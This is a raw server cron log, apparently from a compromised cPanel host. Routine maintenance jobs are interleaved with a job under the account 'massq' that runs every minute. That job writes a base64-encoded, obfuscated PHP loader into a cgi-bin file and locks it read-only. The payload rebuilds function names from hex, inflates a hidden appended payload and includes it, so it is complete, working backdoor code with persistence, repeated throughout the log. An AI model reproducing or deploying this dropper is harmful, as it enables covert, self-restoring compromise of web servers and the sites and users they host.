Sep  3 06:53:01 server CROND[11456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:53:01 server CROND[11457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:53:01 server CROND[11458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:54:01 server CROND[11926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:54:01 server CROND[11927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:54:01 server CROND[11928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:55:01 server CROND[12300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:55:01 server CROND[12302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:55:01 server CROND[12304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:55:01 server CROND[12305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:55:01 server CROND[12308]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:55:01 server CROND[12306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:55:01 server CROND[12307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:56:01 server CROND[13137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:56:01 server CROND[13138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:56:01 server CROND[13139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:57:01 server CROND[13551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:57:01 server CROND[13552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:57:01 server CROND[13553]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:57:01 server CROND[13554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:58:01 server CROND[13945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:58:01 server CROND[13946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:58:01 server CROND[13947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:59:01 server CROND[14319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:59:01 server CROND[14321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:59:01 server CROND[14320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:00:01 server CROND[14829]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:00:01 server CROND[14828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:00:01 server CROND[14832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:00:01 server CROND[14836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:00:01 server CROND[14837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:00:01 server CROND[14835]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 07:00:01 server CROND[14839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:00:01 server CROND[14838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:00:01 server CROND[14843]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:01:01 server CROND[15661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:01:01 server CROND[15662]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 07:01:01 server CROND[15664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:01:01 server CROND[15663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:01:01 server run-parts(/etc/cron.hourly)[15662]: starting 0anacron
Sep  3 07:01:01 server run-parts(/etc/cron.hourly)[15684]: finished 0anacron
Sep  3 07:02:01 server CROND[16048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:02:01 server CROND[16049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:02:01 server CROND[16051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:03:01 server CROND[16442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:03:01 server CROND[16444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:03:01 server CROND[16443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:04:01 server CROND[16827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:04:01 server CROND[16828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:04:01 server CROND[16829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:05:01 server CROND[17305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
